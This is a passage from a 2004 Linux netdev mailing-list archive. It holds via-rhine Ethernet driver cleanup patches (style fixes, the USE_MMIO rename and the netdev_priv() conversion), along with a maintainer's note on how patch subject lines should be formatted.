pci_dma_sync_single_for_cpu(rp->pdev, rp->rx_skbuff_dma[entry], - rp->rx_buf_sz, PCI_DMA_FROMDEVICE); - - /* *_IP_COPYSUM isn't defined anywhere and eth_copy_and_sum - is memcpy for all archs so this is kind of pointless right - now ... or? */ -#if HAS_IP_COPYSUM /* Call copy + cksum if available. */ - eth_copy_and_sum(skb, rp->rx_skbuff[entry]->tail, pkt_len, 0); + pci_dma_sync_single_for_cpu(rp->pdev, + rp->rx_skbuff_dma[entry], + rp->rx_buf_sz, + PCI_DMA_FROMDEVICE); + + /* *_IP_COPYSUM isn't defined anywhere and + eth_copy_and_sum is memcpy for all archs so + this is kind of pointless right now + ... or? */ +#if HAS_IP_COPYSUM /* Call copy + cksum if available. */ + eth_copy_and_sum(skb, + rp->rx_skbuff[entry]->tail, + pkt_len, 0); skb_put(skb, pkt_len); #else - memcpy(skb_put(skb, pkt_len), rp->rx_skbuff[entry]->tail, - pkt_len); + memcpy(skb_put(skb, pkt_len), + rp->rx_skbuff[entry]->tail, pkt_len); #endif - pci_dma_sync_single_for_device(rp->pdev, rp->rx_skbuff_dma[entry], - rp->rx_buf_sz, PCI_DMA_FROMDEVICE); + pci_dma_sync_single_for_device(rp->pdev, + rp->rx_skbuff_dma[entry], + rp->rx_buf_sz, + PCI_DMA_FROMDEVICE); } else { skb = rp->rx_skbuff[entry]; if (skb == NULL) { - printk(KERN_ERR "%s: Inconsistent Rx descriptor chain.\n", - dev->name); + printk(KERN_ERR "%s: Inconsistent Rx " + "descriptor chain.\n", + dev->name); break; } rp->rx_skbuff[entry] = NULL; skb_put(skb, pkt_len); - pci_unmap_single(rp->pdev, rp->rx_skbuff_dma[entry], - rp->rx_buf_sz, PCI_DMA_FROMDEVICE); + pci_unmap_single(rp->pdev, + rp->rx_skbuff_dma[entry], + rp->rx_buf_sz, + PCI_DMA_FROMDEVICE); } skb->protocol = eth_type_trans(skb, dev); netif_rx(skb); @@ -1583,11 +1610,12 @@ static void rhine_rx(struct net_device * skb = dev_alloc_skb(rp->rx_buf_sz); rp->rx_skbuff[entry] = skb; if (skb == NULL) - break; /* Better luck next round. */ - skb->dev = dev; /* Mark as being used by this device. */ + break; /* Better luck next round. */ + skb->dev = dev; /* Mark as being used by this device. */ rp->rx_skbuff_dma[entry] = - pci_map_single(rp->pdev, skb->tail, rp->rx_buf_sz, - PCI_DMA_FROMDEVICE); + pci_map_single(rp->pdev, skb->tail, + rp->rx_buf_sz, + PCI_DMA_FROMDEVICE); rp->rx_ring[entry].addr = cpu_to_le32(rp->rx_skbuff_dma[entry]); } rp->rx_ring[entry].rx_status = cpu_to_le32(DescOwn); @@ -1595,13 +1623,15 @@ static void rhine_rx(struct net_device * /* Pre-emptively restart Rx engine. */ writew(readw(dev->base_addr + ChipCmd) | CmdRxOn | CmdRxDemand, - dev->base_addr + ChipCmd); + dev->base_addr + ChipCmd); } -/* Clears the "tally counters" for CRC errors and missed frames(?). - It has been reported that some chips need a write of 0 to clear - these, for others the counters are set to 1 when written to and - instead cleared when read. So we clear them both ways ... */ +/* + * Clears the "tally counters" for CRC errors and missed frames(?). + * It has been reported that some chips need a write of 0 to clear + * these, for others the counters are set to 1 when written to and + * instead cleared when read. So we clear them both ways ... + */ static inline void clear_tally_counters(const long ioaddr) { writel(0, ioaddr + RxMissed); @@ -1625,7 +1655,7 @@ static void rhine_restart_tx(struct net_ /* We know better than the chip where it should continue. */ writel(rp->tx_ring_dma + entry * sizeof(struct tx_desc), - ioaddr + TxRingPtr); + ioaddr + TxRingPtr); writew(CmdTxDemand | rp->chip_cmd, ioaddr + ChipCmd); IOSYNC; @@ -1634,8 +1664,8 @@ static void rhine_restart_tx(struct net_ /* This should never happen */ if (debug > 1) printk(KERN_WARNING "%s: rhine_restart_tx() " - "Another error occured %8.8x.\n", - dev->name, intr_status); + "Another error occured %8.8x.\n", + dev->name, intr_status); } } @@ -1645,7 +1675,7 @@ static void rhine_error(struct net_devic struct rhine_private *rp = dev->priv; long ioaddr = dev->base_addr; - spin_lock (&rp->lock); + spin_lock(&rp->lock); if (intr_status & (IntrLinkChange)) { if (readb(ioaddr + MIIStatus) & 0x02) { @@ -1655,58 +1685,59 @@ static void rhine_error(struct net_devic } else rhine_check_duplex(dev); if (debug) - printk(KERN_ERR "%s: MII status changed: Autonegotiation " - "advertising %4.4x partner %4.4x.\n", dev->name, - mdio_read(dev, rp->phys[0], MII_ADVERTISE), - mdio_read(dev, rp->phys[0], MII_LPA)); + printk(KERN_ERR "%s: MII status changed: " + "Autonegotiation advertising %4.4x partner " + "%4.4x.\n", dev->name, + mdio_read(dev, rp->phys[0], MII_ADVERTISE), + mdio_read(dev, rp->phys[0], MII_LPA)); } if (intr_status & IntrStatsMax) { - rp->stats.rx_crc_errors += readw(ioaddr + RxCRCErrs); - rp->stats.rx_missed_errors += readw(ioaddr + RxMissed); + rp->stats.rx_crc_errors += readw(ioaddr + RxCRCErrs); + rp->stats.rx_missed_errors += readw(ioaddr + RxMissed); clear_tally_counters(ioaddr); } if (intr_status & IntrTxAborted) { if (debug > 1) printk(KERN_INFO "%s: Abort %8.8x, frame dropped.\n", - dev->name, intr_status); + dev->name, intr_status); } if (intr_status & IntrTxUnderrun) { if (rp->tx_thresh < 0xE0) writeb(rp->tx_thresh += 0x20, ioaddr + TxConfig); if (debug > 1) printk(KERN_INFO "%s: Transmitter underrun, Tx " - "threshold now %2.2x.\n", - dev->name, rp->tx_thresh); + "threshold now %2.2x.\n", + dev->name, rp->tx_thresh); } if (intr_status & IntrTxDescRace) { if (debug > 2) printk(KERN_INFO "%s: Tx descriptor write-back race.\n", - dev->name); + dev->name); } if ((intr_status & IntrTxError) && - (intr_status & ( IntrTxAborted | - IntrTxUnderrun | IntrTxDescRace )) == 0) { + (intr_status & (IntrTxAborted | + IntrTxUnderrun | IntrTxDescRace)) == 0) { if (rp->tx_thresh < 0xE0) { writeb(rp->tx_thresh += 0x20, ioaddr + TxConfig); } if (debug > 1) printk(KERN_INFO "%s: Unspecified error. Tx " - "threshold now %2.2x.\n", - dev->name, rp->tx_thresh); + "threshold now %2.2x.\n", + dev->name, rp->tx_thresh); } - if (intr_status & ( IntrTxAborted | IntrTxUnderrun | IntrTxDescRace | - IntrTxError )) + if (intr_status & (IntrTxAborted | IntrTxUnderrun | IntrTxDescRace | + IntrTxError)) rhine_restart_tx(dev); - if (intr_status & ~( IntrLinkChange | IntrStatsMax | IntrTxUnderrun | - IntrTxError | IntrTxAborted | IntrNormalSummary | - IntrTxDescRace )) { + if (intr_status & ~(IntrLinkChange | IntrStatsMax | IntrTxUnderrun | + IntrTxError | IntrTxAborted | IntrNormalSummary | + IntrTxDescRace)) { if (debug > 1) - printk(KERN_ERR "%s: Something Wicked happened! %8.8x.\n", - dev->name, intr_status); + printk(KERN_ERR "%s: Something Wicked happened! " + "%8.8x.\n", dev->name, intr_status); } - spin_unlock (&rp->lock); + spin_unlock(&rp->lock); } static struct net_device_stats *rhine_get_stats(struct net_device *dev) @@ -1716,8 +1747,8 @@ static struct net_device_stats *rhine_ge unsigned long flags; spin_lock_irqsave(&rp->lock, flags); - rp->stats.rx_crc_errors += readw(ioaddr + RxCRCErrs); - rp->stats.rx_missed_errors += readw(ioaddr + RxMissed); + rp->stats.rx_crc_errors += readw(ioaddr + RxCRCErrs); + rp->stats.rx_missed_errors += readw(ioaddr + RxMissed); clear_tally_counters(ioaddr); spin_unlock_irqrestore(&rp->lock, flags); @@ -1728,17 +1759,18 @@ static void rhine_set_rx_mode(struct net { struct rhine_private *rp = dev->priv; long ioaddr = dev->base_addr; - u32 mc_filter[2]; /* Multicast hash filter */ - u8 rx_mode; /* Note: 0x02=accept runt, 0x01=accept errs */ + u32 mc_filter[2]; /* Multicast hash filter */ + u8 rx_mode; /* Note: 0x02=accept runt, 0x01=accept errs */ - if (dev->flags & IFF_PROMISC) { /* Set promiscuous. */ + if (dev->flags & IFF_PROMISC) { /* Set promiscuous. */ /* Unconditionally log net taps. */ - printk(KERN_NOTICE "%s: Promiscuous mode enabled.\n", dev->name); + printk(KERN_NOTICE "%s: Promiscuous mode enabled.\n", + dev->name); rx_mode = 0x1C; writel(0xffffffff, ioaddr + MulticastFilter0); writel(0xffffffff, ioaddr + MulticastFilter1); } else if ((dev->mc_count > multicast_filter_limit) - || (dev->flags & IFF_ALLMULTI)) { + || (dev->flags & IFF_ALLMULTI)) { /* Too many to match, or accept all multicasts. */ writel(0xffffffff, ioaddr + MulticastFilter0); writel(0xffffffff, ioaddr + MulticastFilter1); @@ -1748,7 +1780,7 @@ static void rhine_set_rx_mode(struct net int i; memset(mc_filter, 0, sizeof(mc_filter)); for (i = 0, mclist = dev->mc_list; mclist && i < dev->mc_count; - i++, mclist = mclist->next) { + i++, mclist = mclist->next) { int bit_nr = ether_crc(ETH_ALEN, mclist->dmi_addr) >> 26; mc_filter[bit_nr >> 5] |= cpu_to_le32(1 << (bit_nr & 31)); @@ -1760,13 +1792,13 @@ static void rhine_set_rx_mode(struct net writeb(rp->rx_thresh | rx_mode, ioaddr + RxConfig); } -static void netdev_get_drvinfo (struct net_device *dev, struct ethtool_drvinfo *info) +static void netdev_get_drvinfo(struct net_device *dev, struct ethtool_drvinfo *info) { struct rhine_private *rp = dev->priv; - strcpy (info->driver, DRV_NAME); - strcpy (info->version, DRV_VERSION); - strcpy (info->bus_info, pci_name(rp->pdev)); + strcpy(info->driver, DRV_NAME); + strcpy(info->version, DRV_VERSION); + strcpy(info->bus_info, pci_name(rp->pdev)); } static int netdev_get_settings(struct net_device *dev, struct ethtool_cmd *cmd) @@ -1869,8 +1901,9 @@ static int rhine_close(struct net_device netif_stop_queue(dev); if (debug > 1) - printk(KERN_DEBUG "%s: Shutting down ethercard, status was %4.4x.\n", - dev->name, readw(ioaddr + ChipCmd)); + printk(KERN_DEBUG "%s: Shutting down ethercard, " + "status was %4.4x.\n", + dev->name, readw(ioaddr + ChipCmd)); /* Switch to loopback mode to avoid hardware races. */ writeb(rp->tx_thresh | 0x02, ioaddr + TxConfig); @@ -1892,7 +1925,7 @@ static int rhine_close(struct net_device } -static void __devexit rhine_remove_one (struct pci_dev *pdev) +static void __devexit rhine_remove_one(struct pci_dev *pdev) { struct net_device *dev = pci_get_drvdata(pdev); @@ -1918,31 +1951,21 @@ static struct pci_driver rhine_driver = }; -static int __init rhine_init (void) +static int __init rhine_init(void) { /* when a module, this is printed whether or not devices are found in probe */ #ifdef MODULE printk(version); #endif - return pci_module_init (&rhine_driver); + return pci_module_init(&rhine_driver); } -static void __exit rhine_cleanup (void) +static void __exit rhine_cleanup(void) { - pci_unregister_driver (&rhine_driver); + pci_unregister_driver(&rhine_driver); } module_init(rhine_init); module_exit(rhine_cleanup); - - -/* - * Local variables: - * compile-command: "gcc -DMODULE -D__KERNEL__ -I/usr/src/linux/net/inet -Wall -Wstrict-prototypes -O6 -c via-rhine.c `[ -f /usr/include/linux/modversions.h ] && echo -DMODVERSIONS`" - * c-indent-level: 4 - * c-basic-offset: 4 - * tab-width: 4 - * End: - */ --PNTmBPCT7hxwcZjr-- From jgarzik@pobox.com Sun May 23 04:33:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 23 May 2004 04:33:25 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4NBWxKO001638 for ; Sun, 23 May 2004 04:33:00 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BRHHx-00051F-La; Fri, 21 May 2004 22:10:45 +0100 Message-ID: <40AE7049.80900@pobox.com> Date: Fri, 21 May 2004 17:10:33 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com, Linux Kernel Subject: Re: [PATCH 0/5] 2.4.27-pre3 pcnet32.c References: <200405212055.i4LKtx110244@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200405212055.i4LKtx110244@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5251 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Don Fry wrote: > Please apply the following patches to 2.4.27-pre3. The first four are simple > "one line" fixes. The last removes the timer I added a little while ago, > as it added complexity without improving performance. > > [PATCH 1/5] 2.4.27-pre3 pcnet32 add static to two routines. > [PATCH 2/5] 2.4.27-pre3 pcnet32 avoid hard hang with some chip variants. > [PATCH 3/5] 2.4.27-pre3 pcnet32 correct 79C976 variant string. > [PATCH 4/5] 2.4.27-pre3 pcnet32 fix boundary comparison bug. > [PATCH 5/5] 2.4.27-pre3 pcnet32 remove timer and complexity. It would help me a lot if you changed your email subject line in two minor ways: 1) Include the kernel version _inside_ the brackets, [PATCH 1/5 2.4.27-pre3] 2) Just to make it look a tad nicer and more consistent with other changelog entries, add a colon after the driver name: [PATCH 1/5 2.6.6] pcnet32: mark two routines static This allows me to pass your submission fully automated through scripts. The resultant one-line description of your patch becomes [PATCH] pcnet32: mark two routines static when my scripts merge your patch into the BK repository. BTW, you don't need to resend your 2.4 and 2.6 pcnet32 patches, this is just for future reference. Jeff P.S. Somebody should put this into Documentation/SubmittingPatches... From rl@hellgate.ch Sun May 23 04:49:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 23 May 2004 04:50:04 -0700 (PDT) Received: from mail6.bluewin.ch (mail6.bluewin.ch [195.186.4.229]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4NBnhKO002092 for ; Sun, 23 May 2004 04:49:44 -0700 Received: from k3.hellgate.ch (81.62.85.188) by mail6.bluewin.ch (Bluewin AG 7.0.028) id 40A46BD30010B011; Sun, 23 May 2004 10:50:35 +0000 Received: by k3.hellgate.ch (Postfix, from userid 1000) id E08B95A36FF; Sun, 23 May 2004 12:50:18 +0200 (CEST) Date: Sun, 23 May 2004 12:50:18 +0200 From: Roger Luethi To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: [4/4][PATCH 2.6] via-rhine: USE_MEM, USE_IO -> USE_MMIO Message-ID: <20040523105018.GA10472@k3.hellgate.ch> Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="liOOAslEiF7prFVr" Content-Disposition: inline In-Reply-To: <20040523104650.GA9979@k3.hellgate.ch> X-Operating-System: Linux 2.6.6 on i686 X-GPG-Fingerprint: 92 F4 DC 20 57 46 7B 95 24 4E 9E E7 5A 54 DC 1B X-GPG: 1024/80E744BD wwwkeys.ch.pgp.net User-Agent: Mutt/1.5.6i X-archive-position: 5252 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rl@hellgate.ch Precedence: bulk X-list: netdev --liOOAslEiF7prFVr Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Replace USE_MEM and USE_IO with USE_MMIO define. --liOOAslEiF7prFVr Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="via-rhine-2.6.6-4-defmem.diff" --- linux-2.6.6/drivers/net/via-rhine.c 2004-05-23 11:38:22.798939458 +0200 +++ linux-2.6.6-patch/drivers/net/via-rhine.c 2004-05-23 11:44:18.972292582 +0200 @@ -222,9 +222,8 @@ static char shortname[] = DRV_NAME; /* This driver was written to use PCI memory space, however most versions of the Rhine only work correctly with I/O space accesses. */ #ifdef CONFIG_VIA_RHINE_MMIO -#define USE_MEM +#define USE_MMIO #else -#define USE_IO #undef readb #undef readw #undef readl @@ -380,7 +379,7 @@ enum chip_capability_flags { ReqTxAlign=0x10, HasWOL=0x20, }; -#ifdef USE_MEM +#ifdef USE_MMIO #define RHINE_IOTYPE (PCI_USES_MEM | PCI_USES_MASTER | PCI_ADDR1) #else #define RHINE_IOTYPE (PCI_USES_IO | PCI_USES_MASTER | PCI_ADDR0) @@ -432,7 +431,7 @@ enum backoff_bits { BackCaptureEffect=0x04, BackRandom=0x08 }; -#ifdef USE_MEM +#ifdef USE_MMIO /* Registers we check that mmio and reg are the same. */ int mmio_verify_registers[] = { RxConfig, TxConfig, IntrEnable, ConfigA, ConfigB, ConfigC, ConfigD, @@ -590,7 +589,7 @@ static void wait_for_reset(struct net_de boguscnt ? "succeeded" : "failed"); } -#ifdef USE_MEM +#ifdef USE_MMIO static void __devinit enable_mmio(long ioaddr, int chip_id) { int n; @@ -636,7 +635,7 @@ static int __devinit rhine_init_one(stru long memaddr; int io_size; int pci_flags; -#ifdef USE_MEM +#ifdef USE_MMIO long ioaddr0; #endif @@ -687,7 +686,7 @@ static int __devinit rhine_init_one(stru if (pci_request_regions(pdev, shortname)) goto err_out_free_netdev; -#ifdef USE_MEM +#ifdef USE_MMIO ioaddr0 = ioaddr; enable_mmio(ioaddr0, chip_id); @@ -710,7 +709,7 @@ static int __devinit rhine_init_one(stru goto err_out_unmap; } } -#endif +#endif /* USE_MMIO */ /* D-Link provided reset code (with comment additions) */ if (rhine_chip_info[chip_id].drv_flags & HasWOL) { @@ -737,14 +736,14 @@ static int __devinit rhine_init_one(stru wait_for_reset(dev, chip_id, shortname); /* Reload the station address from the EEPROM. */ -#ifdef USE_IO - reload_eeprom(ioaddr); -#else +#ifdef USE_MMIO reload_eeprom(ioaddr0); /* Reloading from eeprom overwrites cfgA-D, so we must re-enable MMIO. If reload_eeprom() was done first this could be avoided, but it is not known if that still works with the "win98-reboot" problem. */ enable_mmio(ioaddr0, chip_id); +#else + reload_eeprom(ioaddr); #endif for (i = 0; i < 6; i++) @@ -880,7 +879,7 @@ static int __devinit rhine_init_one(stru return 0; err_out_unmap: -#ifdef USE_MEM +#ifdef USE_MMIO iounmap((void *)ioaddr); err_out_free_res: #endif @@ -1933,7 +1932,7 @@ static void __devexit rhine_remove_one(s pci_release_regions(pdev); -#ifdef USE_MEM +#ifdef USE_MMIO iounmap((char *)(dev->base_addr)); #endif --liOOAslEiF7prFVr-- From rl@hellgate.ch Sun May 23 05:15:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 23 May 2004 05:16:01 -0700 (PDT) Received: from mail2.bluewin.ch (mail2.bluewin.ch [195.186.4.73]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4NCFXKO002729 for ; Sun, 23 May 2004 05:15:34 -0700 Received: from k3.hellgate.ch (81.62.85.188) by mail2.bluewin.ch (Bluewin AG 7.0.028) id 40A468960010A0AD; Sun, 23 May 2004 10:46:50 +0000 Received: by k3.hellgate.ch (Postfix, from userid 1000) id 8CE1D5A2F9E; Sun, 23 May 2004 12:46:50 +0200 (CEST) Date: Sun, 23 May 2004 12:46:50 +0200 From: Roger Luethi To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: [0/4] via-rhine: clean-up for 2.6 Message-ID: <20040523104650.GA9979@k3.hellgate.ch> Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Operating-System: Linux 2.6.6 on i686 X-GPG-Fingerprint: 92 F4 DC 20 57 46 7B 95 24 4E 9E E7 5A 54 DC 1B X-GPG: 1024/80E744BD wwwkeys.ch.pgp.net User-Agent: Mutt/1.5.6i X-archive-position: 5253 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rl@hellgate.ch Precedence: bulk X-list: netdev This series of patches is mere clean-up (except for the first one which contains a small bug fix I posted a couple of days ago). Please consider applying. I have some functionality improvements I intend to post on top of this. Roger From rl@hellgate.ch Sun May 23 07:53:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 23 May 2004 07:53:11 -0700 (PDT) Received: from mail5.bluewin.ch (mail5.bluewin.ch [195.186.1.207]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4NEr5KO005083 for ; Sun, 23 May 2004 07:53:06 -0700 Received: from k3.hellgate.ch (81.62.85.188) by mail5.bluewin.ch (Bluewin AG 7.0.028) id 40A46B210011803F; Sun, 23 May 2004 14:52:51 +0000 Received: by k3.hellgate.ch (Postfix, from userid 1000) id 060FE5A3AFF; Sun, 23 May 2004 16:52:48 +0200 (CEST) Date: Sun, 23 May 2004 16:52:47 +0200 From: Roger Luethi To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: [5/4][PATCH 2.6] via-rhine: netdev_priv() Message-ID: <20040523145247.GA17910@k3.hellgate.ch> Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="gKMricLos+KVdGMg" Content-Disposition: inline In-Reply-To: <20040523104650.GA9979@k3.hellgate.ch> X-Operating-System: Linux 2.6.6 on i686 X-GPG-Fingerprint: 92 F4 DC 20 57 46 7B 95 24 4E 9E E7 5A 54 DC 1B X-GPG: 1024/80E744BD wwwkeys.ch.pgp.net User-Agent: Mutt/1.5.6i X-archive-position: 5254 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rl@hellgate.ch Precedence: bulk X-list: netdev --gKMricLos+KVdGMg Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Found another patch that should go with this batch: Switch to netdev_priv(). Fix outdated comment and bump version number while we're at it. --gKMricLos+KVdGMg Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="via-rhine-2.6.6-5-netdev_priv.diff" --- linux-2.6.6/drivers/net/via-rhine.c 2004-05-23 11:56:08.043812192 +0200 +++ linux-2.6.6-patch/drivers/net/via-rhine.c 2004-05-23 16:42:26.550821369 +0200 @@ -128,8 +128,8 @@ */ #define DRV_NAME "via-rhine" -#define DRV_VERSION "1.1.19-2.5" -#define DRV_RELDATE "July-12-2003" +#define DRV_VERSION "1.1.20-2.6" +#define DRV_RELDATE "May-23-2004" /* A few user-configurable values. @@ -219,8 +219,8 @@ KERN_INFO DRV_NAME ".c:v1.10-LK" DRV_VER static char shortname[] = DRV_NAME; -/* This driver was written to use PCI memory space, however most versions - of the Rhine only work correctly with I/O space accesses. */ +/* This driver was written to use PCI memory space. Some early versions + of the Rhine may only work correctly with I/O space accesses. */ #ifdef CONFIG_VIA_RHINE_MMIO #define USE_MMIO #else @@ -552,7 +552,7 @@ static int rhine_close(struct net_devic static inline u32 get_intr_status(struct net_device *dev) { long ioaddr = dev->base_addr; - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); u32 intr_status; intr_status = readw(ioaddr + IntrStatus); @@ -770,7 +770,7 @@ static int __devinit rhine_init_one(stru dev->irq = pdev->irq; - rp = dev->priv; + rp = netdev_priv(dev); spin_lock_init(&rp->lock); rp->chip_id = chip_id; rp->drv_flags = rhine_chip_info[chip_id].drv_flags; @@ -892,7 +892,7 @@ err_out: static int alloc_ring(struct net_device* dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); void *ring; dma_addr_t ring_dma; @@ -927,7 +927,7 @@ static int alloc_ring(struct net_device* void free_ring(struct net_device* dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); pci_free_consistent(rp->pdev, RX_RING_SIZE * sizeof(struct rx_desc) + @@ -945,7 +945,7 @@ void free_ring(struct net_device* dev) static void alloc_rbufs(struct net_device *dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); dma_addr_t next; int i; @@ -986,7 +986,7 @@ static void alloc_rbufs(struct net_devic static void free_rbufs(struct net_device* dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); int i; /* Free all the skbuffs in the Rx queue. */ @@ -1005,7 +1005,7 @@ static void free_rbufs(struct net_device static void alloc_tbufs(struct net_device* dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); dma_addr_t next; int i; @@ -1025,7 +1025,7 @@ static void alloc_tbufs(struct net_devic static void free_tbufs(struct net_device* dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); int i; for (i = 0; i < TX_RING_SIZE; i++) { @@ -1048,7 +1048,7 @@ static void free_tbufs(struct net_device static void init_registers(struct net_device *dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); long ioaddr = dev->base_addr; int i; @@ -1114,7 +1114,7 @@ static int mdio_read(struct net_device * static void mdio_write(struct net_device *dev, int phy_id, int regnum, int value) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); long ioaddr = dev->base_addr; int boguscnt = 1024; @@ -1145,7 +1145,7 @@ static void mdio_write(struct net_device static int rhine_open(struct net_device *dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); long ioaddr = dev->base_addr; int i; @@ -1188,7 +1188,7 @@ static int rhine_open(struct net_device static void rhine_check_duplex(struct net_device *dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); long ioaddr = dev->base_addr; int mii_lpa = mdio_read(dev, rp->phys[0], MII_LPA); int negotiated = mii_lpa & rp->mii_if.advertising; @@ -1216,7 +1216,7 @@ static void rhine_check_duplex(struct ne static void rhine_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); long ioaddr = dev->base_addr; int next_tick = 10*HZ; int mii_status; @@ -1249,7 +1249,7 @@ static void rhine_timer(unsigned long da static void rhine_tx_timeout(struct net_device *dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); long ioaddr = dev->base_addr; printk(KERN_WARNING "%s: Transmit timed out, status %4.4x, PHY status " @@ -1287,7 +1287,7 @@ static void rhine_tx_timeout(struct net_ static int rhine_start_tx(struct sk_buff *skb, struct net_device *dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); unsigned entry; u32 intr_status; @@ -1431,7 +1431,7 @@ static irqreturn_t rhine_interrupt(int i for clarity. */ static void rhine_tx(struct net_device *dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); int txstatus = 0, entry = rp->dirty_tx % TX_RING_SIZE; spin_lock(&rp->lock); @@ -1494,7 +1494,7 @@ static void rhine_tx(struct net_device * for clarity and better register allocation. */ static void rhine_rx(struct net_device *dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); int entry = rp->cur_rx % RX_RING_SIZE; int boguscnt = rp->dirty_rx + RX_RING_SIZE - rp->cur_rx; @@ -1639,7 +1639,7 @@ static inline void clear_tally_counters( } static void rhine_restart_tx(struct net_device *dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); long ioaddr = dev->base_addr; int entry = rp->dirty_tx % TX_RING_SIZE; u32 intr_status; @@ -1671,7 +1671,7 @@ static void rhine_restart_tx(struct net_ static void rhine_error(struct net_device *dev, int intr_status) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); long ioaddr = dev->base_addr; spin_lock(&rp->lock); @@ -1741,7 +1741,7 @@ static void rhine_error(struct net_devic static struct net_device_stats *rhine_get_stats(struct net_device *dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); long ioaddr = dev->base_addr; unsigned long flags; @@ -1756,7 +1756,7 @@ static struct net_device_stats *rhine_ge static void rhine_set_rx_mode(struct net_device *dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); long ioaddr = dev->base_addr; u32 mc_filter[2]; /* Multicast hash filter */ u8 rx_mode; /* Note: 0x02=accept runt, 0x01=accept errs */ @@ -1793,7 +1793,7 @@ static void rhine_set_rx_mode(struct net static void netdev_get_drvinfo(struct net_device *dev, struct ethtool_drvinfo *info) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); strcpy(info->driver, DRV_NAME); strcpy(info->version, DRV_VERSION); @@ -1802,7 +1802,7 @@ static void netdev_get_drvinfo(struct ne static int netdev_get_settings(struct net_device *dev, struct ethtool_cmd *cmd) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); int rc; if (!(rp->drv_flags & CanHaveMII)) @@ -1817,7 +1817,7 @@ static int netdev_get_settings(struct ne static int netdev_set_settings(struct net_device *dev, struct ethtool_cmd *cmd) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); int rc; if (!(rp->drv_flags & CanHaveMII)) @@ -1832,7 +1832,7 @@ static int netdev_set_settings(struct ne static int netdev_nway_reset(struct net_device *dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); if (!(rp->drv_flags & CanHaveMII)) return -EINVAL; @@ -1842,7 +1842,7 @@ static int netdev_nway_reset(struct net_ static u32 netdev_get_link(struct net_device *dev) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); if (!(rp->drv_flags & CanHaveMII)) return 